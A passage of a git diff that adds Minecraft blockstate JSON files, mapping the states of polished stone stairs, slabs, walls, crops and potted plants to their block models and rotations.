"minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_wall.json b/src/assets/minecraft/blockstates/polished_blackstone_wall.json new file mode 100644 index 00000000..dc5fa0f1 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_diorite.json b/src/assets/minecraft/blockstates/polished_diorite.json new file mode 100644 index 00000000..ea96c517 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_diorite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/polished_diorite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_diorite_slab.json b/src/assets/minecraft/blockstates/polished_diorite_slab.json new file mode 100644 index 00000000..f3542336 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_diorite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/polished_diorite_slab" + }, + "type=double": { + "model": "minecraft:block/polished_diorite" + }, + "type=top": { + "model": "minecraft:block/polished_diorite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_diorite_stairs.json b/src/assets/minecraft/blockstates/polished_diorite_stairs.json new file mode 100644 index 00000000..9e42db9b --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_diorite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/polished_diorite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/polished_diorite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/polished_diorite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_granite.json b/src/assets/minecraft/blockstates/polished_granite.json new file mode 100644 index 00000000..bad818af --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_granite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/polished_granite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_granite_slab.json b/src/assets/minecraft/blockstates/polished_granite_slab.json new file mode 100644 index 00000000..e1ec01cd --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_granite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/polished_granite_slab" + }, + "type=double": { + "model": "minecraft:block/polished_granite" + }, + "type=top": { + "model": "minecraft:block/polished_granite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_granite_stairs.json b/src/assets/minecraft/blockstates/polished_granite_stairs.json new file mode 100644 index 00000000..b7724d6e --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_granite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/polished_granite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/polished_granite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/polished_granite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/polished_granite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/poppy.json b/src/assets/minecraft/blockstates/poppy.json new file mode 100644 index 00000000..870cb7d2 --- /dev/null +++ b/src/assets/minecraft/blockstates/poppy.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/poppy" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potatoes.json b/src/assets/minecraft/blockstates/potatoes.json new file mode 100644 index 00000000..85b439e7 --- /dev/null +++ b/src/assets/minecraft/blockstates/potatoes.json @@ -0,0 +1,28 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/potatoes_stage0" + }, + "age=1": { + "model": "minecraft:block/potatoes_stage0" + }, + "age=2": { + "model": "minecraft:block/potatoes_stage1" + }, + "age=3": { + "model": "minecraft:block/potatoes_stage1" + }, + "age=4": { + "model": "minecraft:block/potatoes_stage2" + }, + "age=5": { + "model": "minecraft:block/potatoes_stage2" + }, + "age=6": { + "model": "minecraft:block/potatoes_stage2" + }, + "age=7": { + "model": "minecraft:block/potatoes_stage3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_acacia_sapling.json b/src/assets/minecraft/blockstates/potted_acacia_sapling.json new file mode 100644 index 00000000..03a983a4 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_acacia_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_acacia_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_allium.json b/src/assets/minecraft/blockstates/potted_allium.json new file mode 100644 index 00000000..07d8e783 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_allium.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_allium" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_azure_bluet.json b/src/assets/minecraft/blockstates/potted_azure_bluet.json new file mode 100644 index 00000000..80c7a52f --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_azure_bluet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_azure_bluet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_bamboo.json b/src/assets/minecraft/blockstates/potted_bamboo.json new file mode 100644 index 00000000..7d10ed3e --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_bamboo.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_bamboo" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_birch_sapling.json b/src/assets/minecraft/blockstates/potted_birch_sapling.json new file mode 100644 index 00000000..98b48ea5 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_birch_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_birch_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_blue_orchid.json b/src/assets/minecraft/blockstates/potted_blue_orchid.json new file mode 100644 index 00000000..48da368f --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_blue_orchid.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_blue_orchid" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_brown_mushroom.json b/src/assets/minecraft/blockstates/potted_brown_mushroom.json new file mode 100644 index 00000000..b1a02473 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_brown_mushroom.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_brown_mushroom" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_cactus.json b/src/assets/minecraft/blockstates/potted_cactus.json new file mode 100644 index 00000000..04758dae --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_cactus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_cactus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_cornflower.json b/src/assets/minecraft/blockstates/potted_cornflower.json new file mode 100644 index 00000000..29b26856 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_cornflower.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_cornflower" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_crimson_fungus.json b/src/assets/minecraft/blockstates/potted_crimson_fungus.json new file mode 100644 index 00000000..d697c8e1 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_crimson_fungus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_crimson_fungus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_crimson_roots.json b/src/assets/minecraft/blockstates/potted_crimson_roots.json new file mode 100644 index 00000000..b2707ca0 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_crimson_roots.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_crimson_roots" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_dandelion.json b/src/assets/minecraft/blockstates/potted_dandelion.json new file mode 100644 index 00000000..36227401 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_dandelion.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_dandelion" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_dark_oak_sapling.json b/src/assets/minecraft/blockstates/potted_dark_oak_sapling.json new file mode 100644 index 00000000..f532b1ec --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_dark_oak_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_dark_oak_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_dead_bush.json b/src/assets/minecraft/blockstates/potted_dead_bush.json new file mode 100644 index 00000000..52d9462f --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_dead_bush.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_dead_bush" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_fern.json b/src/assets/minecraft/blockstates/potted_fern.json new file mode 100644 index 00000000..ee886f3c --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_fern.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_fern" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_jungle_sapling.json b/src/assets/minecraft/blockstates/potted_jungle_sapling.json new file mode 100644 index 00000000..928947b3 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_jungle_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_jungle_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_lily_of_the_valley.json b/src/assets/minecraft/blockstates/potted_lily_of_the_valley.json new file mode 100644 index 00000000..14e7942a --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_lily_of_the_valley.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_lily_of_the_valley" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_oak_sapling.json b/src/assets/minecraft/blockstates/potted_oak_sapling.json new file mode 100644 index 00000000..e77b75bf --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_oak_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_oak_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_orange_tulip.json b/src/assets/minecraft/blockstates/potted_orange_tulip.json new file mode 100644 index 00000000..978f35d0 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_orange_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_orange_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_oxeye_daisy.json b/src/assets/minecraft/blockstates/potted_oxeye_daisy.json new file mode 100644 index 00000000..7fc330ae --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_oxeye_daisy.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_oxeye_daisy" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_pink_tulip.json b/src/assets/minecraft/blockstates/potted_pink_tulip.json new file mode 100644 index 00000000..159cc4b2 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_pink_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_pink_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_poppy.json b/src/assets/minecraft/blockstates/potted_poppy.json new file mode 100644 index 00000000..f16aee08 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_poppy.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_poppy" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_red_mushroom.json b/src/assets/minecraft/blockstates/potted_red_mushroom.json new file mode 100644 index 00000000..451f88db --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_red_mushroom.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_red_mushroom" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_red_tulip.json b/src/assets/minecraft/blockstates/potted_red_tulip.json new file mode 100644 index 00000000..fec6840d --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_red_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_red_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_spruce_sapling.json b/src/assets/minecraft/blockstates/potted_spruce_sapling.json new file mode 100644 index 00000000..224d5a9f --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_spruce_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_spruce_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_warped_fungus.json b/src/assets/minecraft/blockstates/potted_warped_fungus.json new file mode 100644 index 00000000..3f127a34 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_warped_fungus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_warped_fungus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_warped_roots.json b/src/assets/minecraft/blockstates/potted_warped_roots.json new file mode 100644 index 00000000..f141ee94 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_warped_roots.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_warped_roots" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_white_tulip.json b/src/assets/minecraft/blockstates/potted_white_tulip.json new file mode 100644 index 00000000..823ca947 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_white_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_white_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/potted_wither_rose.json b/src/assets/minecraft/blockstates/potted_wither_rose.json new file mode 100644 index 00000000..d12f6aa1 --- /dev/null +++ b/src/assets/minecraft/blockstates/potted_wither_rose.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/potted_wither_rose" + 